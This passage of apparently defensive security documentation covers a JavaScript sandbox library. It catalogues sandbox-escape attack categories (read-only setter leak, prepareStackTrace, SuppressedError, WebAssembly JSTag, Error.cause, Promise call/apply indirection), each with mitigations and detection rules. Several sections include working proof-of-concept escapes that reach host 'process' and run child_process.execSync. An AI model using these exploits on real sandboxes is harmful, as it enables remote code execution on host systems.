The wrapped setter's call lands in BaseHandler.apply, which unwraps context (the proxy) back to the raw host object and invokes the host setter on it β€” mutating host state through a view the embedder declared read-only. This is a read-only contract violation / host-state write, not (by itself) a full realm escape, but it is a capability the embedder explicitly withheld: vm.freeze is the API embedders reach for precisely to hand the sandbox observable-but-immutable config, and any host setter (cache invalidation, privilege flags, path allow-lists, feature toggles) becomes sandbox-writable.

Attack Flow

  1. Embedder exposes a host object with an accessor property via vm.freeze(cfg, 'cfg'), intending read-only access.
  2. Sandbox reads the property descriptor through any channel that reaches the getOwnPropertyDescriptor trap: Object.getOwnPropertyDescriptor, Reflect.getOwnPropertyDescriptor, Object.getOwnPropertyDescriptors, or Object.prototype.__lookupSetter__.
  3. The returned descriptor's set is a live bridge-wrapped function whose target is the raw host setter.
  4. Sandbox calls desc.set.call(cfg, value). The apply trap forwards to the host setter with this = the unwrapped host object.
  5. Host state mutates; every inert write trap was bypassed because no write trap was on the path.

Canonical Examples

javascript
const cfg = {
    _level: 'safe',
    get level() { return this._level; },
    set level(v) { this._level = v; },
};
const vm = new VM();
vm.freeze(cfg, 'cfg');

vm.run(`
    // Channel 1 β€” Object.getOwnPropertyDescriptor
    Object.getOwnPropertyDescriptor(cfg, 'level').set.call(cfg, 'PWNED-a');
    // Channel 2 β€” __lookupSetter__ (reads the same descriptor)
    cfg.__lookupSetter__('level').call(cfg, 'PWNED-b');
    // Channel 3 β€” Reflect.getOwnPropertyDescriptor
    Reflect.getOwnPropertyDescriptor(cfg, 'level').set.call(cfg, 'PWNED-c');
    // Channel 4 β€” Object.getOwnPropertyDescriptors (bulk)
    Object.getOwnPropertyDescriptors(cfg).level.set.call(cfg, 'PWNED-d');
`);
// Before the fix: cfg._level === 'PWNED-d'. Direct cfg.level = x stayed blocked,
// masking the leak from write-trap-only tests.

Why It Works

ReadOnlyHandler inherited BaseHandler.getOwnPropertyDescriptor unchanged. That method's job is realm-crossing fidelity, not policy: it faithfully wraps whatever get / set the host descriptor has so the sandbox sees a working accessor. Read-only policy lived only in the set / defineProperty / deleteProperty traps β€” the direct write paths. The descriptor-read path is an indirect write path: it hands the sandbox a callable that, when invoked, routes through apply (an unguarded-for-read-only trap) to the host setter. __lookupSetter__, Reflect.getOwnPropertyDescriptor, and Object.getOwnPropertyDescriptors are all readers of the same descriptor, so all four share the single leak.

The getter side (desc.get, __lookupGetter__) is not a violation β€” reads are permitted under the read-only contract β€” so the fix must be asymmetric: neutralize set, preserve get.

Mitigation

ReadOnlyHandler.getOwnPropertyDescriptorDesc (the descriptor hook BaseHandler.getOwnPropertyDescriptor invokes before wrapping get / set) is overridden to drop the set accessor from every host-side descriptor on the sandbox→host direction (!isHost). With desc.set removed before wrapping, the descriptor the sandbox receives is a getter-only accessor: desc.get still works, desc.set === undefined. Because all four extraction channels funnel through the same getOwnPropertyDescriptor trap → same hook, one override closes every channel simultaneously. A setter-only accessor collapses to { value: undefined, writable: false }, which carries no write capability and reads as undefined — consistent with read-only semantics.

The tightening is ReadOnly-specific: BaseHandler (non-frozen exposed host objects) is untouched, so an accessor on an ordinary sandbox: { cfg } object still exposes an operative setter, exactly as before.

The same hook must also govern the other writer of the proxy target. doPreventExtensions copies own descriptors onto the proxy target so V8's non-configurable-property invariant can be checked, and it originally wrapped get / set directly instead of going through the hook. That left a live set on the target while the trap reported set: undefined, so the first isExtensible / preventExtensions / Object.keys on a frozen object holding a non-configurable accessor tripped V8's "trap returned descriptor ... incompatible with the existing property" TypeError and poisoned spread, Object.assign and JSON.stringify on that object. doPreventExtensions now routes each copied descriptor through handler.getOwnPropertyDescriptorDesc(...) before defining it, so target and trap agree for every handler variant (BaseHandler leaves set intact and is unaffected). The non-configurable accessor branch rebuilds a clean accessor-only descriptor, because the hook can leave a stray value on function caller / arguments / callee and defineProperty rejects a descriptor carrying both an accessor and a value.

Note that Object.freeze on a read-only proxy still throws ("trap returned falsish"): defineProperty is inert on a read-only view. That is pre-existing read-only behavior for any frozen object with properties, not a consequence of this fix.

Detection Rules

  • Object.getOwnPropertyDescriptor(frozen, k).set / .__lookupSetter__(k) returning a callable inside the sandbox β€” a read-only view must never yield an operative setter.
  • desc.set.call(frozen, v) / setter.call(frozen, v) pattern in sandbox code β€” indirect write through a leaked accessor setter.
  • Object.getOwnPropertyDescriptors(frozen) / Reflect.getOwnPropertyDescriptor(frozen, k) feeding a later .set(...) call β€” bulk / Reflect variants of the same leak.
  • Any new read-only handler that overrides write traps but inherits getOwnPropertyDescriptor β€” descriptor reads are an indirect write path and must be neutralized alongside the direct traps.

Considered Variants

  • Getter side (desc.get, __lookupGetter__) β€” intentionally left operative; reads are permitted under the read-only contract. Over-blocking here would break the documented vm.freeze read behavior.
  • Data-property writable flag β€” a data descriptor's writable: true is cosmetic under ReadOnly, not a channel: writing frozen.k = v still routes through the inert set trap. Only the callable set accessor is a real write primitive, so only it is stripped.
  • ReadOnlyMockHandler β€” extends ReadOnlyHandler, so it inherits the override; the readonly API is covered by the same fix.

Attacks Error Sanitization (`docs/attacks/error-sanitization.md`)

Error and Exception Sanitization

Exceptions and error containers as carriers of host references. Every value entering a catch must pass through handleException; the entries here are the paths that carried a raw host error, a host Error.cause, a host stack string, or a live proxy past it.

Defense invariants enforced by fixes in this family: 2, 3, 5 (see Defense Invariants).

Categories in this file: 4, 16, 17, 38, 39, 48, 49.


Attack Category 4: Error Object Exploitation

Advisories: none

Tests: test/vm.js ("Error.prepareStackTrace attack"), test/vm.js ("Node internal prepareStackTrace attack"), test/vm.js ("transformer attack"), test/vm.js ("Error.prepareStackTrace safe default prevents host fallback"), test/vm.js ("Error.prepareStackTrace safe default handles Symbol names without throwing"), test/vm.js ("Error.prepareStackTrace = undefined does not enable host escape"), test/ghsa/GHSA-v27g-jcqj-v8rw/ (repro.js)

Description

Errors carry stack traces, constructor references, and can trigger special V8 APIs. Attackers use errors as vehicles to access host-realm objects. The Error Generation Primitive (see Fundamentals) is the most common technique: setting error.name = Symbol() forces a host TypeError during V8's C++ stack formatting.

Attack Flow

  1. Create an error and manipulate it (e.g., set name to a Symbol, or override prepareStackTrace).
  2. Access .stack to trigger V8's stack formatting, which may throw a host-realm TypeError.
  3. Catch the TypeError (via catch block, promise rejection, or SuppressedError) to obtain a host-realm error object.
  4. Traverse the host error's constructor chain to reach host Function.

Canonical Examples

javascript
// Error.prepareStackTrace to access CallSite objects
Error.prepareStackTrace = (err, callSites) => {
  return callSites.map(cs => cs.getThis()).find(x => x);
};
const { stack } = new Error();
// stack now contains host objects

// Stack overflow to trigger host error constructor
function recurse() { new Error().stack; recurse(); }
try { recurse(); }
catch (e) {
  // e is host RangeError with host constructor
  e.constructor.constructor("return process")();
}

// Error in Promise rejection path (uses Error Generation Primitive)
async function fn() {
  const e = new Error();
  e.name = Symbol(); // Forces host TypeError during string conversion
  return e.stack;
}
fn().catch(hostError => {
  hostError.constructor.constructor("return process")();
});

Why It Works

V8's Error.prepareStackTrace API provides access to CallSite objects that reference the actual this value of each stack frame. Stack overflow errors are created by the engine itself and may carry host-realm prototypes. The Error Generation Primitive (e.name = Symbol(); e.stack) forces V8's C++ code to throw a TypeError during string formatting; if this happens in host-side code (like prepareStackTraceCallback), the TypeError is a host-realm error.

Mitigation

Error.prepareStackTrace is initialised to defaultSandboxPrepareStackTrace at sandbox bootstrap (post-GHSA-v27g hardening) and the property descriptor's setter substitutes the safe default whenever sandbox code assigns a non-function value (undefined, null, etc.). V8 therefore never falls through to Node's host-side prepareStackTraceCallback (which throws on Symbol-named errors and emits absolute host paths). defaultSandboxPrepareStackTrace itself handles Symbol names, Proxy objects, and other exotic types without throwing. CallSite metadata getters (getFileName, getLineNumber, getFunctionName, etc.) redact host frames; getEvalOrigin redacts unconditionally because its return string can embed a host path. CallSite getThis() and getFunction() always return undefined. SuppressedError and AggregateError are in errorsList in bridge.js so their prototypes are proto-mapped and their bridge-crossing instances structurally-collapsed.

Detection Rules

  • Error.prepareStackTrace assignment -- accessing V8 stack internals.
  • Recursive functions designed to cause stack overflow -- intentional RangeError creation.
  • error.name = Symbol() -- forces TypeError during string coercion (Error Generation Primitive).
  • Accessing .stack property on errors in conjunction with prepareStackTrace.
  • Errors with unusual prototype manipulation before throwing.
  • Error.cause -- set by user code (not V8 internals), so ensureThis handles it; but worth noting as a potential carrier of host references.

Attack Category 16: SuppressedError via Explicit Resource Management

Advisories: GHSA-55hx-c926-fr95, GHSA-35vh-489p-v7cx (dup of GHSA-55hx-c926-fr95)

Tests: test/ghsa/GHSA-55hx-c926-fr95/ (repro.js, structural-leak.js, structural-leak-variants.js), test/vm.js ("SuppressedError escape via DisposableStack"), test/vm.js ("SuppressedError escape via using declaration"), test/vm.js ("SuppressedError escape via AsyncDisposableStack"), test/vm.js ("SuppressedError escape via async rejection path"), test/vm.js ("SuppressedError escape via deeply nested DisposableStack"), test/vm.js ("Promise.prototype.then/catch callback sanitization bypass")

Uses: Category 4: Error Object Exploitation, Category 12: Code Transformation Bypass

Description

The Explicit Resource Management proposal (ES2024) introduces DisposableStack, AsyncDisposableStack, and the using declaration. When multiple errors occur during resource disposal, V8 wraps them in a SuppressedError with .error and .suppressed properties. These properties can contain host-realm errors that bypass bridge sanitization.

Attack Flow

  1. Create a disposable resource whose Symbol.dispose method triggers the Error Generation Primitive (e.name = Symbol(); e.stack), producing a host TypeError.
  2. Use a using declaration or DisposableStack.defer() so that disposal happens automatically.
  3. Arrange for a second error (e.g., throw null) so V8 wraps both in a SuppressedError.
  4. Catch the SuppressedError -- its .error or .suppressed contains the unsanitized host TypeError.
  5. Traverse .error.constructor.constructor to reach host Function.

Canonical Examples

javascript
// DisposableStack attack
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  // e.suppressed is the host TypeError (unsanitized)
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  process.mainModule.require("child_process").execSync("...");
}

// 'using' declaration attack (bypasses transformer -- ecmaVersion 2022)
obj = {[Symbol.dispose]() {
    const e = new Error();
    e.name = Symbol();
    return e.stack;
}};
try {
    eval("{using a = obj;throw null;}");
} catch(e) {
    e.error.constructor.constructor("return process")()
      .mainModule.require('child_process').execSync('...');
}

// AsyncDisposableStack attack
const ds = new AsyncDisposableStack();
ds.defer(async () => { throw null; });
ds.defer(async () => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  await ds.disposeAsync();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  Function("return process")().mainModule.require("child_process").execSync("...");
}
  • Deeply nested DisposableStack chain, so the SuppressedError carrier is produced several disposal frames down: see test/vm.js ("SuppressedError escape via deeply nested DisposableStack").
  • Async rejection path: the SuppressedError is delivered to a .catch callback rather than a catch clause: see test/vm.js ("SuppressedError escape via async rejection path").
  • Host-realm Promise delivery, where the rejection value never passes the sandbox-side then / catch override: see test/ghsa/GHSA-55hx-c926-fr95/structural-leak.js and structural-leak-variants.js.

Why It Works

V8 creates SuppressedError instances using the sandbox context's intrinsic constructor during resource disposal. The resulting object is a sandbox object, so ensureThis returns it as-is. However, the .error and .suppressed properties are set by V8's internal code and may contain host-realm errors. Since these properties are accessed as regular property reads on a sandbox object (not through a bridge proxy), the host errors are returned without sanitization.

The using declaration bypasses the transformer because Acorn's ecmaVersion: 2022 does not parse ES2024 syntax -- the implicit catch semantics of using are invisible to instrumentation.

Note: Error.cause (ES2022) is a related concern that was assumed safe because the bridge get trap wraps property reads. It is not: the wrap is functional, so the sandbox can pivot through e.cause.mainModule.require(...) even after wrapping. See Category 38 for the full analysis and the chokepoint extension in handleException that strips .cause from host-wrapped carriers.

Mitigation

Three layers, structurally:

  1. handleException recursion: detects SuppressedError / AggregateError instances by prototype check and recursively sanitizes .error / .suppressed / .errors[] via ensureThis. SuppressedError is also added to errorsList in bridge.js. Cycle detection via WeakMap prevents infinite recursion.
  2. Sandbox-side Promise.prototype.then / .catch overrides route every callback through handleException for sandbox-realm promises (wrappedPromiseThen / wrappedPromiseCatch / wrappedPromiseFinally, installed on globalPromise.prototype via localReflectDefineProperty in setup-sandbox.js).
  3. Bridge-level host-Promise interception (GHSA-55hx supplementary fix): when sandbox code invokes a host-realm Promise.prototype.then / .catch / .finally (for example, via an embedder-exposed async () => {} whose returned promise is host-realm), the bridge apply trap recognizes the call (identity check against cached otherGlobalPrototypes.Promise methods) and wraps each sandbox-supplied callback with a sanitizing closure that pipes its argument through handleException (rejection) or ensureThis (fulfillment) before the user code runs. This closes the structural class where host machinery (PromiseReactionJob / PromiseResolveThenableJob) schedules sandbox callbacks against raw host rejection values, bypassing the sandbox-side override entirely. Setup is one-shot via bridge.setHostPromiseSanitizers(handleException, ensureThis) from setup-sandbox.js.

Detection Rules

  • new DisposableStack() or new AsyncDisposableStack() with defer().
  • using declarations in eval() -- triggers Symbol.dispose on scope exit.
  • await using declarations -- triggers Symbol.asyncDispose.
  • e.suppressed.constructor or e.error.constructor in catch blocks.
  • SuppressedError combined with e.name = Symbol().
  • Host-realm async function exposed via {sandbox: {f: async () => {}}} chained with .finally / .catch to deliver SuppressedError -- now sanitized at the bridge boundary.

Attack Category 17: WebAssembly JSTag Exception Catch

Advisories: none

Tests: test/vm.js ("WebAssembly.JSTag escape via wasm exception handling"), test/vm.js ("WebAssembly.JSTag is not accessible in sandbox")

Uses: Category 4: Error Object Exploitation, Category 12: Code Transformation Bypass

Description

WebAssembly.JSTag (present on Node 22 and later; absent on Node 20 and earlier) is a special tag that allows WebAssembly exception handling (try_table/catch) to catch JavaScript exceptions thrown during imported function calls. Since the transformer only instruments JavaScript catch clauses, exceptions caught in WebAssembly completely bypass handleException() sanitization.

Attack Flow

  1. Error setup: err.name = Symbol() causes err.stack to throw a host TypeError (Error Generation Primitive).
  2. Wasm module creation: A WebAssembly module imports a trigger function that accesses err.stack and WebAssembly.JSTag as a tag for catching JS exceptions.
  3. Wasm exception catch: The module's exported function uses try_table/catch with JSTag. When trigger() throws the host TypeError, wasm catches it and returns the exception value as an externref.
  4. Bypass: The transformer only instruments JavaScript catch blocks. Wasm exception handling is a separate mechanism -- the transformer has zero visibility into wasm bytecode. The caught host error is returned raw and unsanitized.
  5. Escape: hostError.constructor.constructor("return process")() -> RCE.

Canonical Examples

javascript
const err = new Error("x");
err.name = Symbol();

const wasm = new Uint8Array([
    0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,
    0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,
    0x02,0x19,0x02,
    0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,
    0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,
    0x03,0x02,0x01,0x01,
    0x07,0x0f,0x01,
    0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,
    0x0a,0x12,0x01,0x10,0x00,
    0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b
]);

const instance = new WebAssembly.Instance(
    new WebAssembly.Module(wasm),
    { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }
);

const hostError = instance.exports.catch_error();
const p = hostError.constructor.constructor("return process")();
p.mainModule.require('child_process').execSync('...');

Why It Works

The entire exception sanitization strategy is built on instrumenting JavaScript catch clauses via the transformer. WebAssembly introduces a parallel exception-catching mechanism that operates at the bytecode level, completely outside the transformer's scope. Without JSTag, wasm can only catch custom wasm exceptions (not JS exceptions), and catch_all does not expose the exception value.

Mitigation

WebAssembly.JSTag is deleted from the sandbox at initialization in setup-sandbox.js. Without JSTag, wasm code cannot catch JavaScript exceptions -- catch_all provides no value access, and catch_all_ref requires JSTag for exn.extract. The tag is a V8 internal and cannot be reconstructed by user code.

Detection Rules

  • WebAssembly.JSTag -- accessing the JS exception tag.
  • WebAssembly.Instance with import objects containing tag: properties.
  • Wasm modules with try_table/catch instructions.
  • Combination of wasm exception handling + Error Generation Primitive.
  • instance.exports.* returning externref values.

Attack Category 38: `Error.cause` Host Reference Leak to Sandbox

Advisories: GHSA-m283-3h24-438v

Tests: test/ghsa/GHSA-m283-3h24-438v/ (repro.js)

Uses: Category 4: Error Object Exploitation, Category 16: SuppressedError via Explicit Resource Management

Description

ES2022 added Error.cause, a free-form property carrying an arbitrary object reference describing the underlying reason for an error (new Error('wrap', { cause: original })). When an embedder-exposed host helper throws an Error with .cause set to a powerful host reference (canonically process, but anything reachable from the embedder's closure qualifies β€” require('child_process'), a host Module instance, an internal config containing keys), the host Error crosses the bridge via thisFromOtherForThrow and reaches the sandbox catch block as a bridge proxy.

The bridge get trap wraps .cause on read β€” the resulting proxy passes isProxy === true β€” but the wrap is functional. The bridge's design goal is realm isolation, not capability restriction: sandbox code can chain e.cause.mainModule.require('child_process').execSync(...) through proxy apply traps and reach host RCE. The proxy hands off arguments and return values through the bridge correctly; it does not block the embedder-exposed function from being called.

The embedder almost never intends .cause to expose live host references. Error chaining is idiomatic in modern Node β€” try { x() } catch (e) { throw new Error('wrap', { cause: e }) } β€” and the chained e is frequently a Node-internal error whose own internal fields point at process, Module, or other powerful host objects. CVE class is sandbox escape via an under-audited ES2022 channel.

CVSS 3.1: 9.9 / Critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). CWE-693 (Protection Mechanism Failure).

Attack Flow

  1. Embedder exposes a host function via sandbox: { hostFn: () => { throw new Error('msg', { cause: process }) } }. The cause may be set by the embedder directly or by Node-internal error chaining the embedder wraps.
  2. Sandbox calls the function; host throws.
  3. thisFromOtherForThrow wraps the host Error as a bridge proxy. The proxy's underlying object is the raw host Error.
  4. Sandbox catch block reads e.cause. The proxy get trap fetches the host .cause (process) and wraps it through thisFromOther, returning a bridge proxy of process to sandbox code.
  5. Sandbox code drives the wrapped process through proxy get / apply traps: e.cause.mainModule.require('child_process').execSync('...'). Each step routes through host realm; execSync runs with host privileges.

Canonical Examples

text
/* Detailed source-code truncated for AI context efficiency. */
  • Arbitrary own property on a host error (err.detail = process, err.originalError = require('child_process')): see test/ghsa/GHSA-m283-3h24-438v/repro.js.
  • Own-property TOCTOU accessor on a non-spec key: see test/ghsa/GHSA-m283-3h24-438v/repro.js.
  • Prototype-inherited host reference (Object.setPrototypeOf(err, {leak: process})), including two levels up, an accessor on the prototype, and a symbol-keyed inherited property: see test/ghsa/GHSA-m283-3h24-438v/repro.js.
  • Lying Proxy carrier that hides its own keys, and an own isProxy: false claiming to be sandbox-realm: see test/ghsa/GHSA-m283-3h24-438v/repro.js.

Why It Works

The bridge invariant "No host-realm object reaches sandbox code unwrapped" (Defense Invariant #1) was satisfied β€” .cause returned a bridge proxy. But the related invariant "All caught exceptions are sanitized" (Defense Invariant #2) and especially #3 (cross-realm error containers are recursively sanitized) had a documented gap: the handleException chokepoint only recursed into SuppressedError.{error,suppressed} and AggregateError.errors[]. .cause was the third ES2022 / 2024 error-chain channel and went unaudited.

A second misconception in the prior architecture: wrapping a host reference is sufficient to neutralize it. For sandbox-exposed values (sandbox: { someConfig }), this is true by intent β€” the embedder explicitly granted access. For .cause, the embedder did not. The wrap therefore must be supplemented by stripping the property entirely from host-realm carriers.

Mitigation

Centralize in handleException (the existing exception chokepoint). The new helper sanitizeErrorCause runs before the SuppressedError / AggregateError proto walk, so SuppressedError / AggregateError carriers also get their .cause stripped, and the recursive walks pick up .cause on every sub-error.

Two branches by carrier realm:

  1. Host-wrapped carrier (e.isProxy === true) β€” overwrite host-side .cause with undefined via localReflectDefineProperty using a sealed descriptor (writable: false, configurable: false). This routes through the proxy defineProperty trap to otherReflectDefineProperty and pins a fresh data property on the underlying host Error. The non-configurable + non-writable choice is load-bearing: it weaponizes two ECMA-262 Proxy invariants against attacker-controlled host carriers:

    • Β§10.5.6 ProxyDefineOwnProperty: if Desc.[[Configurable]] is false and the target's existing descriptor is configurable, the engine throws regardless of the trap's return value. A lying defineProperty trap (e.g., new Proxy(realErr, { defineProperty: () => true })) cannot pretend success without actually modifying the target β€” the engine catches the invariant violation and the fallback substitution fires.

    • Β§10.5.8 ProxyGet: once the property is non-configurable and non-writable, the trap MUST return SameValue(target.value). A get trap that lies about the value triggers TypeError. So subsequent sandbox reads of .cause either return undefined or throw β€” both safe.

  2. Strip fails (engine threw on invariant violation, host property is sealed non-configurable, or any other failure) β€” the carrier itself is unsafe, so a fresh sandbox-realm Error is substituted, preserving only the textual .message. Sandbox catch code sees a different error type but no pivot reference.

  3. Sandbox-realm carrier β€” recursively sanitize: read e.cause once, recurse via handleException, then re-install the sanitized value as a data property to defeat sandbox-side accessor .cause definitions. Cycle detection via the existing visited WeakMap prevents infinite recursion on a.cause = b; b.cause = a.

For SuppressedError and AggregateError carriers, the same TOCTOU class applies to .error, .suppressed, and .errors[] slots. The original recursive pattern was e.error = handleException(e.error, visited) β€” a single read invoked the host getter (returning a benign value that recursed harmlessly), and the assignment back silently no-op'd against a getter-only accessor. The accessor remained live; the next sandbox read returned a host reference.

The fix on host-wrapped carriers snapshots sub-errors via a single read each, sanitizes them, and constructs a fresh sandbox-realm replacement of the same type (new LocalSuppressedError(...) / new LocalAggregateError(...)). The original carrier β€” which may have any number of attacker-controlled accessors β€” is dropped entirely. Sandbox receives a stable sandbox-realm carrier whose sub-error slots are plain data properties on the new instance, immune to host-side TOCTOU.

For arbitrary own properties on host-wrapped error carriers (err.detail = process, err.originalError = require('child_process'), etc.), the spec-defined-slot fixes above do not generalize. Node libraries routinely attach host references via custom property names as part of error-chaining conventions, and any such property reaches sandbox as a functional bridge proxy β€” same escape primitive as the original .cause channel. sanitizeHostOwnProps runs on every host-wrapped non-Suppressed/non-Aggregate carrier reaching handleException, enumerates own keys via Reflect.ownKeys, and seals each property with the same non-configurable + non-writable descriptor used for .cause: primitive values are locked to the first-read primitive (preserves message/stack/name/code/errno/syscall/path and any other diagnostic primitive), non-primitives are replaced with undefined. The ECMA-262 Β§10.5.6 invariant catches lying-Proxy carriers on every key; the Β§10.5.8 invariant locks subsequent reads to the sealed value. Seal failure substitutes the carrier with a fresh sandbox-realm Error preserving the captured message.

For prototype-inherited host references, own-key sealing is structurally insufficient. Reflect.ownKeys does not report inherited properties, so a host carrier whose prototype was replaced β€” Object.setPrototypeOf(hostErr, { leak: process }) β€” passed through sanitizeHostOwnProps untouched, and e.leak still resolved to a live bridge proxy: e.leak.mainModule.require('child_process').execSync(...) is full RCE, and e.leak.pid / e.leak.env are host information disclosure on their own.

The enumeration cannot simply be widened to walk the chain: the chain is attacker-shaped, arbitrarily deep, and each link may itself be a lying Proxy, so any walk is a TOCTOU surface rather than a fix. Instead the carrier is rebuilt in the sandbox realm. sanitizeHostOwnProps constructs a fresh sandbox-realm error and copies across only the primitive own properties it has already sealed (message through the constructor, plus name / stack / code / errno / syscall / path and any other primitive the host attached). The host prototype chain is discarded wholesale, so the returned object is structurally incapable of referencing the host realm β€” no enumeration, and therefore no enumeration gap. This is the same snapshot-and-rebuild strategy already applied to SuppressedError / AggregateError carriers, generalized to every host-wrapped carrier.

Two details in the rebuild are load-bearing:

  • The error constructors are captured at module load (LocalTypeError, LocalRangeError, LocalReferenceError, LocalSyntaxError, LocalEvalError, LocalURIError), beside LocalError and for the same reason localStringStartsWith is captured for Category 8. The rebuild runs at exception-handling time, long after guest code has executed; reading the mutable sandbox globals there would let RangeError = function () { ... } from inside the sandbox execute attacker code inside the sanitizer and dictate the value it returns β€” reintroducing the very escape the helper exists to prevent. See Defense Invariant #6.

  • The subclass is resolved from the carrier's name string, not instanceof. A host-wrapped carrier's prototype chain terminates at the host RangeError.prototype, never the sandbox's, so instanceof against a sandbox constructor is false for every host error and the subclass would silently collapse to plain Error. Name matching is also prefix-based, because Node ≀ 11 reports internal errors as "RangeError [ERR_INVALID_OPT_VALUE]"; an exact comparison degrades every Node-internal error to plain Error on those runtimes. name is attacker-controllable, but the only thing it can influence is which of six benign sandbox-realm constructors is used.

The fix restores Defense Invariant #3 at the right chokepoint: Error.cause joins SuppressedError.{error,suppressed} and AggregateError.errors[] as a recognized sub-error channel, and all four channels are now defended against the same TOCTOU / lying-Proxy class. The published wording of Invariant #3 was already aspirationally correct β€” this fix makes the implementation match. The carrier rebuild extends that guarantee from enumerated channels to the whole object graph reachable from a host carrier.

Detection Rules

  • { cause: process } / { cause: require('...') } in any host-exposed throw site β€” direct leak of a powerful host reference through the ES2022 channel.
  • throw new Error('msg', { cause: e }) in embedder code that wraps caught Node-internal errors β€” Node-internal errors carry references to Module, process, internal config; chaining them propagates the leak.
  • Object.defineProperty(err, 'cause', { ... }) in host code β€” both the non-configurable and accessor variants are bypass primitives if the fix is naive (delete-only).
  • e.cause.X.Y(...) pattern in sandbox code β€” pivot chain through proxy-wrapped .cause.
  • e.error.cause.X / e.errors[i].cause.X patterns β€” pivot chains through SuppressedError / AggregateError sub-errors carrying their own .cause.
  • Object.setPrototypeOf(err, { ... }) on any host error before it crosses the bridge β€” moves the payload out of own-key range; the reference is reachable in sandbox as an ordinary inherited property (e.leak), including via accessors and symbol keys.
  • e.<anyKey>.mainModule / .env / .pid in sandbox code where <anyKey> is not a spec-defined error slot β€” pivot through an arbitrary own or inherited carrier property.

Considered Variants

  • Arbitrary .foo = process on host-wrapped errors β€” now covered by sanitizeHostOwnProps. Originally argued out of scope on the assumption that embedders setting arbitrary properties were exposing references intentionally; in practice, Node-internal error chaining and library wrappers routinely attach host references to custom property names (err.detail, err.originalError, err.context, etc.) without considering the sandbox trust boundary. The own-property enumeration covers all string and symbol keys uniformly; primitive diagnostic info survives, non-primitive host references are stripped.
  • .cause set by V8 internals β€” not currently a known path. If a future Node version starts populating .cause on internal errors with host references (analogous to how SuppressedError carries them), the fix already covers it because the recursion runs on every error reaching handleException.
  • Read via Reflect.get(err, 'cause') from a host-side script the sandbox can invoke β€” same path through the proxy get trap; same defense. Reflect identity is captured at init time (Defense Invariant #8), so sandbox cannot substitute a host Reflect.

Attack Category 39: Host-Promise Rejection Sanitizer Bypass via `call`/`apply` Indirection

Advisories: GHSA-647f-g98j-qq25

Tests: test/ghsa/GHSA-647f-g98j-qq25/ (repro.js)

Uses: Category 38: Error.cause Host Reference Leak to Sandbox

Supersedes: closes the delivery gap in the Category 38 fix. The handleException-based rebuild in Category 38 only runs when the bridge's host-Promise sanitizer actually wraps the sandbox callback; this category is the invocation path where that wrap was skipped. Structurally identical in shape to Category 37: Stacked Indirection Bypass of Host Prototype Mutator Peel β€” a direct-target-only identity check at the apply trap, defeated by Function.prototype.call/.apply indirection.

Description

The Category 38 fix rebuilds capability-bearing host rejection values as fresh sandbox-realm errors (stripping own properties such as err.detail = process, the host prototype, and the Error.cause/SuppressedError/AggregateError side-channels) before a sandbox onRejected callback runs. That rebuild is delivered by the bridge apply trap: when the sandbox calls .then / .catch on a host Promise, the trap wraps the sandbox-supplied callbacks so their argument flows through hostPromiseSanitizeReject (handleException(from(e))) first.

The gate identity-checked only the direct apply target β€” isHostPromiseThen(object) / isHostPromiseCatch(object). The sandbox's Function.prototype.call / .apply are connect()ed to the host's, so registering the handler through indirection (p.then.call(p, undefined, cb), p.then.apply(p, [undefined, cb]), stacked p.then.call.call(...), and mixed call/apply nestings) makes the apply-trap target host Function.prototype.call/.apply β€” not then/catch. The gate misses, no callback is wrapped, and the raw host rejection reaches the sandbox onRejected as a functional bridge proxy. A rejection whose own property references a host object then pivots to RCE: e.detail.mainModule.require('child_process').execSync(...).

Only call/apply indirection is affected. Sandbox Reflect.apply(p.then, …) and p.then.bind(p, …)() re-enter the apply trap with the direct target already resolved to host then/catch, so they were always covered.

CVSS 3.1: 10.0 / Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). CWE-94 (Code Injection), CWE-693 (Protection Mechanism Failure).

Attack Flow

  1. Embedder exposes an async host helper β€” sandbox: { fetchUser: async () => { const e = new Error('x'); e.detail = process; throw e; } } β€” or a NodeVM external module's async method. The returned host Promise crosses the bridge as a proxy.
  2. Sandbox obtains the host-Promise proxy p and registers onRejected through call/apply indirection: p.then.call(p, undefined, cb).
  3. The apply trap fires with object = host Function.prototype.call, context = the host then, args = [p, undefined, cb]. The direct-target check isHostPromiseThen(object) is false β†’ callbacks not wrapped.
  4. Host Promise machinery (PromiseReactionJob) runs cb with the raw host rejection value in a microtask after run() returns.
  5. cb reads e.detail β€” a functional bridge proxy of host process β€” and drives e.detail.mainModule.require('child_process').execSync(...) to host RCE.

Canonical Examples

javascript
const vm = new VM({ sandbox: {
    fetchUser: async () => { const err = new Error('db'); err.detail = process; throw err; },
}});
vm.run(`
    const p = fetchUser();
    p.then.call(p, undefined, (e) => {                 // .call indirection skips the sanitizer
        e.detail.mainModule.require('child_process').execSync('id');
    });
`);
// Equivalent bypasses: p.then.apply(p, [undefined, cb]);
//                      p.then.call.call(p.then, p, undefined, cb);   (stacked)
//                      p.then.apply.call(p.then, p, [undefined, cb]);(mixed)
//                      p.catch.call(p, cb);  p.catch.apply(p, [cb]);

Mitigation

The direct-target-only gate is replaced by normalizeHostPromiseCallbacks in the lib/bridge.js apply trap. Because the apply trap is the single chokepoint every sandbox-initiated host-function call passes through, indirection only repacks (object, context, args) β€” the trap can reconstruct the effective call:

